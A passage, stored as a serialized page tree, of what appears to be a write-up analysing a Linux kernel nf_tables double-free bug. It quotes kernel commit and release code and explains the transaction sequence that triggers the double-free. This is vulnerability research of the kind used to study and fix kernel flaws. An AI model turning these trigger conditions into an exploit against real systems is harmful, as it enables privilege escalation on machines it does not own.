8],{"type":28,"value":51102},{"type":23,"tag":504,"props":51260,"children":51261},{"style":598},[51262],{"type":28,"value":648},{"type":23,"tag":504,"props":51264,"children":51265},{"style":511},[51266],{"type":28,"value":8041},{"type":23,"tag":504,"props":51268,"children":51269},{"style":523},[51270],{"type":28,"value":866},{"type":23,"tag":504,"props":51272,"children":51273},{"class":506,"line":813},[51274],{"type":23,"tag":504,"props":51275,"children":51276},{"style":523},[51277],{"type":28,"value":9299},{"type":23,"tag":504,"props":51279,"children":51280},{"class":506,"line":851},[51281],{"type":23,"tag":504,"props":51282,"children":51283},{"style":523},[51284],{"type":28,"value":884},{"type":23,"tag":24,"props":51286,"children":51287},{},[51288,51290,51295,51297,51302,51304,51309,51311,51316,51318,51324,51326,51332,51334,51339],{"type":28,"value":51289},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":56,"props":51291,"children":51293},{"className":51292},[],[51294],{"type":28,"value":49990},{"type":28,"value":51296}," in the ",{"type":23,"tag":56,"props":51298,"children":51300},{"className":51299},[],[51301],{"type":28,"value":49998},{"type":28,"value":51303}," to make it dirty and then delete the ",{"type":23,"tag":56,"props":51305,"children":51307},{"className":51306},[],[51308],{"type":28,"value":49998},{"type":28,"value":51310},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":56,"props":51312,"children":51314},{"className":51313},[],[51315],{"type":28,"value":49998},{"type":28,"value":51317},"'s ",{"type":23,"tag":56,"props":51319,"children":51321},{"className":51320},[],[51322],{"type":28,"value":51323},"->commit()",{"type":28,"value":51325}," method is executed before its ",{"type":23,"tag":56,"props":51327,"children":51329},{"className":51328},[],[51330],{"type":28,"value":51331},"->destroy()",{"type":28,"value":51333}," method, then the ",{"type":23,"tag":56,"props":51335,"children":51337},{"className":51336},[],[51338],{"type":28,"value":51102},{"type":28,"value":51340}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":51342,"children":51343},{},[51344],{"type":28,"value":51345},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":494,"props":51347,"children":51349},{"className":15493,"code":51348,"language":2124,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[51350],{"type":23,"tag":56,"props":51351,"children":51352},{"__ignoreMap":7},[51353,51415,51422,51429,51437,51450,51485,51519,51561,51583,51595,51608,51615,51663,51704,51744,51757,51764,51771,51778,51785,51810,51817,51830,51837,51853],{"type":23,"tag":504,"props":51354,"children":51355},{"class":506,"line":507},[51356,51360,51364,51369,51373,51377,51381,51385,51389,51393,51397,51402,51406,51411],{"type":23,"tag":504,"props":51357,"children":51358},{"style":511},[51359],{"type":28,"value":50023},{"type":23,"tag":504,"props":51361,"children":51362},{"style":511},[51363],{"type":28,"value":50152},{"type":23,"tag":504,"props":51365,"children":51366},{"style":517},[51367],{"type":28,"value":51368}," nf_tables_commit",{"type":23,"tag":504,"props":51370,"children":51371},{"style":523},[51372],{"type":28,"value":526},{"type":23,"tag":504,"props":51374,"children":51375},{"style":511},[51376],{"type":28,"value":8383},{"type":23,"tag":504,"props":51378,"children":51379},{"style":523},[51380],{"type":28,"value":50980},{"type":23,"tag":504,"props":51382,"children":51383},{"style":598},[51384],{"type":28,"value":3552},{"type":23,"tag":504,"props":51386,"children":51387},{"style":529},[51388],{"type":28,"value":50989},{"type":23,"tag":504,"props":51390,"children":51391},{"style":523},[51392],{"type":28,"value":576},{"type":23,"tag":504,"props":51394,"children":51395},{"style":511},[51396],{"type":28,"value":8383},{"type":23,"tag":504,"props":51398,"children":51399},{"style":523},[51400],{"type":28,"value":51401}," sk_buff ",{"type":23,"tag":504,"props":51403,"children":51404},{"style":598},[51405],{"type":28,"value":3552},{"type":23,"tag":504,"props":51407,"children":51408},{"style":529},[51409],{"type":28,"value":51410},"skb",{"type":23,"tag":504,"props":51412,"children":51413},{"style":523},[51414],{"type":28,"value":1192},{"type":23,"tag":504,"props":51416,"children":51417},{"class":506,"line":540},[51418],{"type":23,"tag":504,"props":51419,"children":51420},{"style":523},[51421],{"type":28,"value":9862},{"type":23,"tag":504,"props":51423,"children":51424},{"class":506,"line":555},[51425],{"type":23,"tag":504,"props":51426,"children":51427},{"style":523},[51428],{"type":28,"value":9299},{"type":23,"tag":504,"props":51430,"children":51431},{"class":506,"line":633},[51432],{"type":23,"tag":504,"props":51433,"children":51434},{"style":523},[51435],{"type":28,"value":51436},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":504,"props":51438,"children":51439},{"class":506,"line":687},[51440,51445],{"type":23,"tag":504,"props":51441,"children":51442},{"style":523},[51443],{"type":28,"value":51444},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":504,"props":51446,"children":51447},{"style":1106},[51448],{"type":28,"value":51449}," // [1]\n",{"type":23,"tag":504,"props":51451,"children":51452},{"class":506,"line":736},[51453,51458,51463,51468,51472,51476,51480],{"type":23,"tag":504,"props":51454,"children":51455},{"style":517},[51456],{"type":28,"value":51457},"   nft_trans_set",{"type":23,"tag":504,"props":51459,"children":51460},{"style":523},[51461],{"type":28,"value":51462},"(trans)->",{"type":23,"tag":504,"props":51464,"children":51465},{"style":529},[51466],{"type":28,"value":51467},"dead",{"type":23,"tag":504,"props":51469,"children":51470},{"style":598},[51471],{"type":28,"value":648},{"type":23,"tag":504,"props":51473,"children":51474},{"style":1440},[51475],{"type":28,"value":3504},{"type":23,"tag":504,"props":51477,"children":51478},{"style":523},[51479],{"type":28,"value":48053},{"type":23,"tag":504,"props":51481,"children":51482},{"style":1106},[51483],{"type":28,"value":51484}," // [2]\n",{"type":23,"tag":504,"props":51486,"children":51487},{"class":506,"line":785},[51488,51493,51497,51501,51506,51510,51515],{"type":23,"tag":504,"props":51489,"children":51490},{"style":517},[51491],{"type":28,"value":51492},"   list_del_rcu",{"type":23,"tag":504,"props":51494,"children":51495},{"style":523},[51496],{"type":28,"value":526},{"type":23,"tag":504,"props":51498,"children":51499},{"style":598},[51500],{"type":28,"value":2086},{"type":23,"tag":504,"props":51502,"children":51503},{"style":517},[51504],{"type":28,"value":51505},"nft_trans_set",{"type":23,"tag":504,"props":51507,"children":51508},{"style":523},[51509],{"type":28,"value":51462},{"type":23,"tag":504,"props":51511,"children":51512},{"style":529},[51513],{"type":28,"value":51514},"list",{"type":23,"tag":504,"props":51516,"children":51517},{"style":523},[51518],{"type":28,"value":630},{"type":23,"tag":504,"props":51520,"children":51521},{"class":506,"line":813},[51522,51527,51531,51535,51540,51544,51548,51552,51556],{"type":23,"tag":504,"props":51523,"children":51524},{"style":517},[51525],{"type":28,"value":51526},"   nf_tables_set_notify",{"type":23,"tag":504,"props":51528,"children":51529},{"style":523},[51530],{"type":28,"value":526},{"type":23,"tag":504,"props":51532,"children":51533},{"style":598},[51534],{"type":28,"value":2086},{"type":23,"tag":504,"props":51536,"children":51537},{"style":529},[51538],{"type":28,"value":51539},"trans",{"type":23,"tag":504,"props":51541,"children":51542},{"style":523},[51543],{"type":28,"value":12738},{"type":23,"tag":504,"props":51545,"children":51546},{"style":529},[51547],{"type":28,"value":19262},{"type":23,"tag":504,"props":51549,"children":51550},{"style":523},[51551],{"type":28,"value":576},{"type":23,"tag":504,"props":51553,"children":51554},{"style":517},[51555],{"type":28,"value":51505},{"type":23,"tag":504,"props":51557,"children":51558},{"style":523},[51559],{"type":28,"value":51560},"(trans),\n",{"type":23,"tag":504,"props":51562,"children":51563},{"class":506,"line":851},[51564,51569,51573,51578],{"type":23,"tag":504,"props":51565,"children":51566},{"style":529},[51567],{"type":28,"value":51568},"          trans",{"type":23,"tag":504,"props":51570,"children":51571},{"style":523},[51572],{"type":28,"value":12738},{"type":23,"tag":504,"props":51574,"children":51575},{"style":529},[51576],{"type":28,"value":51577},"msg_type",{"type":23,"tag":504,"props":51579,"children":51580},{"style":523},[51581],{"type":28,"value":51582},", GFP_KERNEL);\n",{"type":23,"tag":504,"props":51584,"children":51585},{"class":506,"line":869},[51586,51591],{"type":23,"tag":504,"props":51587,"children":51588},{"style":544},[51589],{"type":28,"value":51590},"   break",{"type":23,"tag":504,"props":51592,"children":51593},{"style":523},[51594],{"type":28,"value":866},{"type":23,"tag":504,"props":51596,"children":51597},{"class":506,"line":878},[51598,51603],{"type":23,"tag":504,"props":51599,"children":51600},{"style":523},[51601],{"type":28,"value":51602},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":504,"props":51604,"children":51605},{"style":1106},[51606],{"type":28,"value":51607}," // [3]\n",{"type":23,"tag":504,"props":51609,"children":51610},{"class":506,"line":1221},[51611],{"type":23,"tag":504,"props":51612,"children":51613},{"style":523},[51614],{"type":28,"value":9299},{"type":23,"tag":504,"props":51616,"children":51617},{"class":506,"line":1276},[51618,51623,51627,51632,51636,51640,51644,51649,51653,51658],{"type":23,"tag":504,"props":51619,"children":51620},{"style":544},[51621],{"type":28,"value":51622},"   if",{"type":23,"tag":504,"props":51624,"children":51625},{"style":523},[51626],{"type":28,"value":801},{"type":23,"tag":504,"props":51628,"children":51629},{"style":529},[51630],{"type":28,"value":51631},"te",{"type":23,"tag":504,"props":51633,"children":51634},{"style":523},[51635],{"type":28,"value":12738},{"type":23,"tag":504,"props":51637,"children":51638},{"style":529},[51639],{"type":28,"value":49998},{"type":23,"tag":504,"props":51641,"children":51642},{"style":523},[51643],{"type":28,"value":12738},{"type":23,"tag":504,"props":51645,"children":51646},{"style":529},[51647],{"type":28,"value":51648},"ops",{"type":23,"tag":504,"props":51650,"children":51651},{"style":523},[51652],{"type":28,"value":12738},{"type":23,"tag":504,"props":51654,"children":51655},{"style":529},[51656],{"type":28,"value":51657},"commit",{"type":23,"tag":504,"props":51659,"children":51660},{"style":598},[51661],{"type":28,"value":51662}," &&\n",{"type":23,"tag":504,"props":51664,"children":51665},{"class":506,"line":1285},[51666,51671,51675,51679,51683,51687,51691,51695,51700],{"type":23,"tag":504,"props":51667,"children":51668},{"style":517},[51669],{"type":28,"value":51670},"       list_empty",{"type":23,"tag":504,"props":51672,"children":51673},{"style":523},[51674],{"type":28,"value":526},{"type":23,"tag":504,"props":51676,"children":51677},{"style":598},[51678],{"type":28,"value":2086},{"type":23,"tag":504,"props":51680,"children":51681},{"style":529},[51682],{"type":28,"value":51631},{"type":23,"tag":504,"props":51684,"children":51685},{"style":523},[51686],{"type":28,"value":12738},{"type":23,"tag":504,"props":51688,"children":51689},{"style":529},[51690],{"type":28,"value":49998},{"type":23,"tag":504,"props":51692,"children":51693},{"style":523},[51694],{"type":28,"value":12738},{"type":23,"tag":504,"props":51696,"children":51697},{"style":529},[51698],{"type":28,"value":51699},"pending_update",{"type":23,"tag":504,"props":51701,"children":51702},{"style":523},[51703],{"type":28,"value":34170},{"type":23,"tag":504,"props":51705,"children":51706},{"class":506,"line":1294},[51707,51712,51716,51720,51724,51728,51732,51736,51740],{"type":23,"tag":504,"props":51708,"children":51709},{"style":517},[51710],{"type":28,"value":51711},"    list_add_tail",{"type":23,"tag":504,"props":51713,"children":51714},{"style":523},[51715],{"type":28,"value":526},{"type":23,"tag":504,"props":51717,"children":51718},{"style":598},[51719],{"type":28,"value":2086},{"type":23,"tag":504,"props":51721,"children":51722},{"style":529},[51723],{"type":28,"value":51631},{"type":23,"tag":504,"props":51725,"children":51726},{"style":523},[51727],{"type":28,"value":12738},{"type":23,"tag":504,"props":51729,"children":51730},{"style":529},[51731],{"type":28,"value":49998},{"type":23,"tag":504,"props":51733,"children":51734},{"style":523},[51735],{"type":28,"value":12738},{"type":23,"tag":504,"props":51737,"children":51738},{"style":529},[51739],{"type":28,"value":51699},{"type":23,"tag":504,"props":51741,"children":51742},{"style":523},[51743],{"type":28,"value":2484},{"type":23,"tag":504,"props":51745,"children":51746},{"class":506,"line":1302},[51747,51752],{"type":23,"tag":504,"props":51748,"children":51749},{"style":598},[51750],{"type":28,"value":51751},"           &",{"type":23,"tag":504,"props":51753,"children":51754},{"style":523},[51755],{"type":28,"value":51756},"set_update_list);\n",{"type":23,"tag":504,"props":51758,"children":51759},{"class":506,"line":1311},[51760],{"type":23,"tag":504,"props":51761,"children":51762},{"style":523},[51763],{"type":28,"value":33724},{"type":23,"tag":504,"props":51765,"children":51766},{"class":506,"line":1334},[51767],{"type":23,"tag":504,"props":51768,"children":51769},{"style":523},[51770],{"type":28,"value":9299},{"type":23,"tag":504,"props":51772,"children":51773},{"class":506,"line":1370},[51774],{"type":23,"tag":504,"props":51775,"children":51776},{"style":523},[51777],{"type":28,"value":1652},{"type":23,"tag":504,"props":51779,"children":51780},{"class":506,"line":1384},[51781],{"type":23,"tag":504,"props":51782,"children":51783},{"emptyLinePlaceholder":16},[51784],{"type":28,"value":1038},{"type":23,"tag":504,"props":51786,"children":51787},{"class":506,"line":1392},[51788,51793,51797,51801,51806],{"type":23,"tag":504,"props":51789,"children":51790},{"style":517},[51791],{"type":28,"value":51792}," nft_set_commit_update",{"type":23,"tag":504,"props":51794,"children":51795},{"style":523},[51796],{"type":28,"value":526},{"type":23,"tag":504,"props":51798,"children":51799},{"style":598},[51800],{"type":28,"value":2086},{"type":23,"tag":504,"props":51802,"children":51803},{"style":529},[51804],{"type":28,"value":51805},"set_update_list",{"type":23,"tag":504,"props":51807,"children":51808},{"style":523},[51809],{"type":28,"value":630},{"type":23,"tag":504,"props":51811,"children":51812},{"class":506,"line":1400},[51813],{"type":23,"tag":504,"props":51814,"children":51815},{"style":523},[51816],{"type":28,"value":9299},{"type":23,"tag":504,"props":51818,"children":51819},{"class":506,"line":1422},[51820,51825],{"type":23,"tag":504,"props":51821,"children":51822},{"style":517},[51823],{"type":28,"value":51824}," nf_tables_commit_release",{"type":23,"tag":504,"props":51826,"children":51827},{"style":523},[51828],{"type":28,"value":51829},"(net);\n",{"type":23,"tag":504,"props":51831,"children":51832},{"class":506,"line":1450},[51833],{"type":23,"tag":504,"props":51834,"children":51835},{"emptyLinePlaceholder":16},[51836],{"type":28,"value":1038},{"type":23,"tag":504,"props":51838,"children":51839},{"class":506,"line":1463},[51840,51845,51849],{"type":23,"tag":504,"props":51841,"children":51842},{"style":544},[51843],{"type":28,"value":51844}," return",{"type":23,"tag":504,"props":51846,"children":51847},{"style":1440},[51848],{"type":28,"value":2023},{"type":23,"tag":504,"props":51850,"children":51851},{"style":523},[51852],{"type":28,"value":866},{"type":23,"tag":504,"props":51854,"children":51855},{"class":506,"line":1485},[51856],{"type":23,"tag":504,"props":51857,"children":51858},{"style":523},[51859],{"type":28,"value":884},{"type":23,"tag":24,"props":51861,"children":51862},{},[51863,51864,51870,51872,51877],{"type":28,"value":15592},{"type":23,"tag":56,"props":51865,"children":51867},{"className":51866},[],[51868],{"type":28,"value":51869},"nft_set_commit_update()",{"type":28,"value":51871}," function in the code above will call the ",{"type":23,"tag":56,"props":51873,"children":51875},{"className":51874},[],[51876],{"type":28,"value":51323},{"type":28,"value":51878}," method for any objects that were marked as pending an update.",{"type":23,"tag":494,"props":51880,"children":51882},{"className":15493,"code":51881,"language":2124,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[51883],{"type":23,"tag":56,"props":51884,"children":51885},{"__ignoreMap":7},[51886,51926,51933,51962,51969,51982,52014,52021,52082,52093,52100,52134,52141],{"type":23,"tag":504,"props":51887,"children":51888},{"class":506,"line":507},[51889,51893,51897,51901,51905,51909,51914,51918,51922],{"type":23,"tag":504,"props":51890,"children":51891},{"style":511},[51892],{"type":28,"value":50023},{"type":23,"tag":504,"props":51894,"children":51895},{"style":511},[51896],{"type":28,"value":50028},{"type":23,"tag":504,"props":51898,"children":51899},{"style":517},[51900],{"type":28,"value":51792},{"type":23,"tag":504,"props":51902,"children":51903},{"style":523},[51904],{"type":28,"value":526},{"type":23,"tag":504,"props":51906,"children":51907},{"style":511},[51908],{"type":28,"value":8383},{"type":23,"tag":504,"props":51910,"children":51911},{"style":523},[51912],{"type":28,"value":51913}," list_head ",{"type":23,"tag":504,"props":51915,"children":51916},{"style":598},[51917],{"type":28,"value":3552},{"type":23,"tag":504,"props":51919,"children":51920},{"style":529},[51921],{"type":28,"value":51805},{"type":23,"tag":504,"props":51923,"children":51924},{"style":523},[51925],{"type":28,"value":1192},{"type":23,"tag":504,"props":51927,"children":51928},{"class":506,"line":540},[51929],{"type":23,"tag":504,"props":51930,"children":51931},{"style":523},[51932],{"type":28,"value":9862},{"type":23,"tag":504,"props":51934,"children":51935},{"class":506,"line":555},[51936,51940,51944,51948,51953,51957],{"type":23,"tag":504,"props":51937,"children":51938},{"style":511},[51939],{"type":28,"value":20132},{"type":23,"tag":504,"props":51941,"children":51942},{"style":523},[51943],{"type":28,"value":50078},{"type":23,"tag":504,"props":51945,"children":51946},{"style":598},[51947],{"type":28,"value":3552},{"type":23,"tag":504,"props":51949,"children":51950},{"style":523},[51951],{"type":28,"value":51952},"set, ",{"type":23,"tag":504,"props":51954,"children":51955},{"style":598},[51956],{"type":28,"value":3552},{"type":23,"tag":504,"props":51958,"children":51959},{"style":523},[51960],{"type":28,"value":51961},"next;\n",{"type":23,"tag":504,"props":51963,"children":51964},{"class":506,"line":633},[51965],{"type":23,"tag":504,"props":51966,"children":51967},{"emptyLinePlaceholder":16},[51968],{"type":28,"value":1038},{"type":23,"tag":504,"props":51970,"children":51971},{"class":506,"line":687},[51972,51977],{"type":23,"tag":504,"props":51973,"children":51974},{"style":517},[51975],{"type":28,"value":51976}," list_for_each_entry_safe",{"type":23,"tag":504,"props":51978,"children":51979},{"style":523},[51980],{"type":28,"value":51981},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":504,"props":51983,"children":51984},{"class":506,"line":736},[51985,51990,51994,51998,52002,52006,52010],{"type":23,"tag":504,"props":51986,"children":51987},{"style":517},[51988],{"type":28,"value":51989},"  list_del_init",{"type":23,"tag":504,"props":51991,"children":51992},{"style":523},[51993],{"type":28,"value":526},{"type":23,"tag":504,"props":51995,"children":51996},{"style":598},[51997],{"type":28,"value":2086},{"type":23,"tag":504,"props":51999,"children":52000},{"style":529},[52001],{"type":28,"value":49998},{"type":23,"tag":504,"props":52003,"children":52004},{"style":523},[52005],{"type":28,"value":12738},{"type":23,"tag":504,"props":52007,"children":52008},{"style":529},[52009],{"type":28,"value":51699},{"type":23,"tag":504,"props":52011,"children":52012},{"style":523},[52013],{"type":28,"value":630},{"type":23,"tag":504,"props":52015,"children":52016},{"class":506,"line":785},[52017],{"type":23,"tag":504,"props":52018,"children":52019},{"emptyLinePlaceholder":16},[52020],{"type":28,"value":1038},{"type":23,"tag":504,"props":52022,"children":52023},{"class":506,"line":813},[52024,52028,52032,52036,52040,52044,52048,52052,52056,52060,52065,52069,52073,52077],{"type":23,"tag":504,"props":52025,"children":52026},{"style":544},[52027],{"type":28,"value":30372},{"type":23,"tag":504,"props":52029,"children":52030},{"style":523},[52031],{"type":28,"value":801},{"type":23,"tag":504,"props":52033,"children":52034},{"style":598},[52035],{"type":28,"value":19603},{"type":23,"tag":504,"props":52037,"children":52038},{"style":529},[52039],{"type":28,"value":49998},{"type":23,"tag":504,"props":52041,"children":52042},{"style":523},[52043],{"type":28,"value":12738},{"type":23,"tag":504,"props":52045,"children":52046},{"style":529},[52047],{"type":28,"value":51648},{"type":23,"tag":504,"props":52049,"children":52050},{"style":523},[52051],{"type":28,"value":12738},{"type":23,"tag":504,"props":52053,"children":52054},{"style":529},[52055],{"type":28,"value":51657},{"type":23,"tag":504,"props":52057,"children":52058},{"style":598},[52059],{"type":28,"value":22679},{"type":23,"tag":504,"props":52061,"children":52062},{"style":529},[52063],{"type":28,"value":52064}," set",{"type":23,"tag":504,"props":52066,"children":52067},{"style":523},[52068],{"type":28,"value":12738},{"type":23,"tag":504,"props":52070,"children":52071},{"style":529},[52072],{"type":28,"value":51467},{"type":23,"tag":504,"props":52074,"children":52075},{"style":523},[52076],{"type":28,"value":2105},{"type":23,"tag":504,"props":52078,"children":52079},{"style":1106},[52080],{"type":28,"value":52081}," // [4]\n",{"type":23,"tag":504,"props":52083,"children":52084},{"class":506,"line":851},[52085,52089],{"type":23,"tag":504,"props":52086,"children":52087},{"style":544},[52088],{"type":28,"value":50469},{"type":23,"tag":504,"props":52090,"children":52091},{"style":523},[52092],{"type":28,"value":866},{"type":23,"tag":504,"props":52094,"children":52095},{"class":506,"line":869},[52096],{"type":23,"tag":504,"props":52097,"children":52098},{"emptyLinePlaceholder":16},[52099],{"type":28,"value":1038},{"type":23,"tag":504,"props":52101,"children":52102},{"class":506,"line":878},[52103,52108,52112,52116,52120,52124,52129],{"type":23,"tag":504,"props":52104,"children":52105},{"style":529},[52106],{"type":28,"value":52107},"  set",{"type":23,"tag":504,"props":52109,"children":52110},{"style":523},[52111],{"type":28,"value":12738},{"type":23,"tag":504,"props":52113,"children":52114},{"style":529},[52115],{"type":28,"value":51648},{"type":23,"tag":504,"props":52117,"children":52118},{"style":523},[52119],{"type":28,"value":12738},{"type":23,"tag":504,"props":52121,"children":52122},{"style":517},[52123],{"type":28,"value":51657},{"type":23,"tag":504,"props":52125,"children":52126},{"style":523},[52127],{"type":28,"value":52128},"(set);",{"type":23,"tag":504,"props":52130,"children":52131},{"style":1106},[52132],{"type":28,"value":52133}," // [5]\n",{"type":23,"tag":504,"props":52135,"children":52136},{"class":506,"line":1221},[52137],{"type":23,"tag":504,"props":52138,"children":52139},{"style":523},[52140],{"type":28,"value":1652},{"type":23,"tag":504,"props":52142,"children":52143},{"class":506,"line":1276},[52144],{"type":23,"tag":504,"props":52145,"children":52146},{"style":523},[52147],{"type":28,"value":884},{"type":23,"tag":24,"props":52149,"children":52150},{},[52151,52153,52159,52161,52166,52167,52172],{"type":28,"value":52152},"Later on, the ",{"type":23,"tag":56,"props":52154,"children":52156},{"className":52155},[],[52157],{"type":28,"value":52158},"nf_tables_commit_release()",{"type":28,"value":52160}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":56,"props":52162,"children":52164},{"className":52163},[],[52165],{"type":28,"value":49998},{"type":28,"value":51317},{"type":23,"tag":56,"props":52168,"children":52170},{"className":52169},[],[52171],{"type":28,"value":51331},{"type":28,"value":52173}," method.",{"type":23,"tag":494,"props":52175,"children":52177},{"className":15493,"code":52176,"language":2124,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[52178],{"type":23,"tag":56,"props":52179,"children":52180},{"__ignoreMap":7},[52181,52220,52227,52234,52255,52262,52269,52276,52317,52324,52331,52352,52365,52377,52384,52391,52398,52439,52446,52474,52481,52494,52506,52547,52554,52561,52568,52626,52633,52640,52669,52676],{"type":23,"tag":504,"props":52182,"children":52183},{"class":506,"line":507},[52184,52188,52192,52196,52200,52204,52208,52212,52216],{"type":23,"tag":504,"props":52185,"children":52186},{"style":511},[52187],{"type":28,"value":50023},{"type":23,"tag":504,"props":52189,"children":52190},{"style":511},[52191],{"type":28,"value":50028},{"type":23,"tag":504,"props":52193,"children":52194},{"style":517},[52195],{"type":28,"value":51824},{"type":23,"tag":504,"props":52197,"children":52198},{"style":523},[52199],{"type":28,"value":526},{"type":23,"tag":504,"props":52201,"children":52202},{"style":511},[52203],{"type":28,"value":8383},{"type":23,"tag":504,"props":52205,"children":52206},{"style":523},[52207],{"type":28,"value":50980},{"type":23,"tag":504,"props":52209,"children":52210},{"style":598},[52211],{"type":28,"value":3552},{"type":23,"tag":504,"props":52213,"children":52214},{"style":529},[52215],{"type":28,"value":50989},{"type":23,"tag":504,"props":52217,"children":52218},{"style":523},[52219],{"type":28,"value":1192},{"type":23,"tag":504,"props":52221,"children":52222},{"class":506,"line":540},[52223],{"type":23,"tag":504,"props":52224,"children":52225},{"style":523},[52226],{"type":28,"value":9862},{"type":23,"tag":504,"props":52228,"children":52229},{"class":506,"line":555},[52230],{"type":23,"tag":504,"props":52231,"children":52232},{"style":523},[52233],{"type":28,"value":9299},{"type":23,"tag":504,"props":52235,"children":52236},{"class":506,"line":633},[52237,52242,52246,52250],{"type":23,"tag":504,"props":52238,"children":52239},{"style":517},[52240],{"type":28,"value":52241}," schedule_work",{"type":23,"tag":504,"props":52243,"children":52244},{"style":523},[52245],{"type":28,"value":526},{"type":23,"tag":504,"props":52247,"children":52248},{"style":598},[52249],{"type":28,"value":2086},{"type":23,"tag":504,"props":52251,"children":52252},{"style":523},[52253],{"type":28,"value":52254},"trans_destroy_work);\n",{"type":23,"tag":504,"props":52256,"children":52257},{"class":506,"line":687},[52258],{"type":23,"tag":504,"props":52259,"children":52260},{"style":523},[52261],{"type":28,"value":9299},{"type":23,"tag":504,"props":52263,"children":52264},{"class":506,"line":736},[52265],{"type":23,"tag":504,"props":52266,"children":52267},{"style":523},[52268],{"type":28,"value":884},{"type":23,"tag":504,"props":52270,"children":52271},{"class":506,"line":785},[52272],{"type":23,"tag":504,"props":52273,"children":52274},{"style":523},[52275],{"type":28,"value":9299},{"type":23,"tag":504,"props":52277,"children":52278},{"class":506,"line":813},[52279,52283,52287,52292,52296,52300,52305,52309,52313],{"type":23,"tag":504,"props":52280,"children":52281},{"style":511},[52282],{"type":28,"value":50023},{"type":23,"tag":504,"props":52284,"children":52285},{"style":511},[52286],{"type":28,"value":50028},{"type":23,"tag":504,"props":52288,"children":52289},{"style":517},[52290],{"type":28,"value":52291}," nf_tables_trans_destroy_work",{"type":23,"tag":504,"props":52293,"children":52294},{"style":523},[52295],{"type":28,"value":526},{"type":23,"tag":504,"props":52297,"children":52298},{"style":511},[52299],{"type":28,"value":8383},{"type":23,"tag":504,"props":52301,"children":52302},{"style":523},[52303],{"type":28,"value":52304}," work_struct ",{"type":23,"tag":504,"props":52306,"children":52307},{"style":598},[52308],{"type":28,"value":3552},{"type":23,"tag":504,"props":52310,"children":52311},{"style":529},[52312],{"type":28,"value":48551},{"type":23,"tag":504,"props":52314,"children":52315},{"style":523},[52316],{"type":28,"value":1192},{"type":23,"tag":504,"props":52318,"children":52319},{"class":506,"line":851},[52320],{"type":23,"tag":504,"props":52321,"children":52322},{"style":523},[52323],{"type":28,"value":9862},{"type":23,"tag":504,"props":52325,"children":52326},{"class":506,"line":869},[52327],{"type":23,"tag":504,"props":52328,"children":52329},{"style":523},[52330],{"type":28,"value":9299},{"type":23,"tag":504,"props":52332,"children":52333},{"class":506,"line":878},[52334,52338,52343,52347],{"type":23,"tag":504,"props":52335,"children":52336},{"style":517},[52337],{"type":28,"value":51976},{"type":23,"tag":504,"props":52339,"children":52340},{"style":523},[52341],{"type":28,"value":52342},"(trans, next, ",{"type":23,"tag":504,"props":52344,"children":52345},{"style":598},[52346],{"type":28,"value":2086},{"type":23,"tag":504,"props":52348,"children":52349},{"style":523},[52350],{"type":28,"value":52351},"head, list) {\n",{"type":23,"tag":504,"props":52353,"children":52354},{"class":506,"line":1221},[52355,52360],{"type":23,"tag":504,"props":52356,"children":52357},{"style":517},[52358],{"type":28,"value":52359},"  nft_trans_list_del",{"type":23,"tag":504,"props":52361,"children":52362},{"style":523},[52363],{"type":28,"value":52364},"(trans);\n",{"type":23,"tag":504,"props":52366,"children":52367},{"class":506,"line":1276},[52368,52373],{"type":23,"tag":504,"props":52369,"children":52370},{"style":517},[52371],{"type":28,"value":52372},"  nft_commit_release",{"type":23,"tag":504,"props":52374,"children":52375},{"style":523},[52376],{"type":28,"value":52364},{"type":23,"tag":504,"props":52378,"children":52379},{"class":506,"line":1285},[52380],{"type":23,"tag":504,"props":52381,"children":52382},{"style":523},[52383],{"type":28,"value":1652},{"type":23,"tag":504,"props":52385,"children":52386},{"class":506,"line":1294},[52387],{"type":23,"tag":504,"props":52388,"children":52389},{"style":523},[52390],{"type":28,"value":884},{"type":23,"tag":504,"props":52392,"children":52393},{"class":506,"line":1302},[52394],{"type":23,"tag":504,"props":52395,"children":52396},{"style":523},[52397],{"type":28,"value":9299},{"type":23,"tag":504,"props":52399,"children":52400},{"class":506,"line":1311},[52401,52405,52409,52414,52418,52422,52427,52431,52435],{"type":23,"tag":504,"props":52402,"children":52403},{"style":511},[52404],{"type":28,"value":50023},{"type":23,"tag":504,"props":52406,"children":52407},{"style":511},[52408],{"type":28,"value":50028},{"type":23,"tag":504,"props":52410,"children":52411},{"style":517},[52412],{"type":28,"value":52413}," 